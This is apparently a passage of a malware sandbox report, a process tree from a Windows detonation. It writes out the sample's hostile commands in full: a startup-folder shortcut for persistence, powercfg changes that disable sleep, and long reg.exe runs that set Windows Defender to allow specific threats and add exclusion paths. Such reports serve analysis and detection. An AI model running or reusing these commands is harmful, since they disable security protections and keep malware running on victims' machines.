        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5376 -childID 4 -isForBrowser -prefsHandle 5512 -prefMapHandle 5508 -prefsLen 27178 -prefMapSize 244658 -jsInitHandle 932 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {55cbb108-1d37-4aef-a19b-4124ef3b42ad} 1648 "\\.\pipe\gecko-crash-server-pipe.1648" tab
        10⤵
        
        PID:5540
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5644 -childID 5 -isForBrowser -prefsHandle 5896 -prefMapHandle 5892 -prefsLen 27178 -prefMapSize 244658 -jsInitHandle 932 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fbbc3b57-597b-48e6-85c0-ea5e3bf83213} 1648 "\\.\pipe\gecko-crash-server-pipe.1648" tab
        10⤵
        
        PID:5612
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1488 -childID 6 -isForBrowser -prefsHandle 4228 -prefMapHandle 2840 -prefsLen 27228 -prefMapSize 244658 -jsInitHandle 932 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {094a67b4-24a3-4abd-8904-992331afeb1f} 1648 "\\.\pipe\gecko-crash-server-pipe.1648" tab
        10⤵
        
        PID:5656
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5804 -childID 7 -isForBrowser -prefsHandle 5796 -prefMapHandle 5792 -prefsLen 27228 -prefMapSize 244658 -jsInitHandle 932 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bef6bf73-16c4-4996-b312-b4dcc4517365} 1648 "\\.\pipe\gecko-crash-server-pipe.1648" tab
        10⤵
        
        PID:6072
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\HIDGCFBFBF.exe"
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:2272
- C:\Windows\SysWOW64\cmd.exe
  cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CyberPanther.url" & echo URL="C:\Users\Admin\AppData\Local\SecureScope Dynamics\CyberPanther.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CyberPanther.url" & exit
  2⤵
  - Drops startup file
  PID:1744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:1912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:3172

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 1224 -ip 1224
1⤵
PID:4896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3860 -ip 3860
1⤵
PID:3512

C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe
C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4416
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:1448
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3004
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:1204
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:2276
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:2636
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:2008
- C:\Windows\system32\svchost.exe
  svchost.exe
  2⤵
  PID:4956

C:\Users\Admin\AppData\Local\Temp\ad40971b6b\explorti.exe
C:\Users\Admin\AppData\Local\Temp\ad40971b6b\explorti.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1176

C:\Users\Admin\AppData\Local\Temp\7zS534B.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS534B.tmp\Install.exe XC /CnddidTYg 385132 /S
1⤵
- Executes dropped EXE
PID:2028
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:2152
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5752
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:836
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5916
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2864
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1148
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3728
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5952
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5024
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4924
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6044
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4332
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1068
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1936
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2580
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5228
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5772
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5396
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1600
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5860
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5768
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3440
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4836
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1652
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3968
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3992
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6052
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3824
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1948
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4516
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\GtOnFDWCCgUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\GtOnFDWCCgUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\KDENuaOqQISU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\KDENuaOqQISU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LAYqAmppRtojC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LAYqAmppRtojC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\WIQLPldOU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\WIQLPldOU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fjxFshYjVWUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fjxFshYjVWUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\itCXZnYssICbfHKCXDR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\itCXZnYssICbfHKCXDR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ixMyiQryENPMC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ixMyiQryENPMC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qMeQRvtmXyxU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qMeQRvtmXyxU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rZPMEzngU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rZPMEzngU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\wmJzyKeAXJXSYcIjGXR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\wmJzyKeAXJXSYcIjGXR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\JHBMAPUCCwSCzfVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\JHBMAPUCCwSCzfVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\XKbpoCnULTQzsVVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\XKbpoCnULTQzsVVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\XzCRxLAMjkWVuGGMb\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\XzCRxLAMjkWVuGGMb\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\iAgbdZKqqGsOfMIBo\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\iAgbdZKqqGsOfMIBo\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WIjQsZOhtuiKSoXd\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WIjQsZOhtuiKSoXd\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\hwSlakOgexbeQMmf\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\hwSlakOgexbeQMmf\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  - Modifies data under HKEY_USERS
  PID:2140
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5952
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GtOnFDWCCgUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5380
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GtOnFDWCCgUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1948
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GtOnFDWCCgUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2152
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KDENuaOqQISU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4236
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KDENuaOqQISU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5676
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LAYqAmppRtojC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4088
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LAYqAmppRtojC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5920
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\WIQLPldOU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5820
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\WIQLPldOU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5908
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fjxFshYjVWUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5888
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fjxFshYjVWUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:6136
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\itCXZnYssICbfHKCXDR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5216
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\itCXZnYssICbfHKCXDR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5232
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ixMyiQryENPMC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2432
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ixMyiQryENPMC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3664
- - C:\Windows\SysWOW64\reg.exe
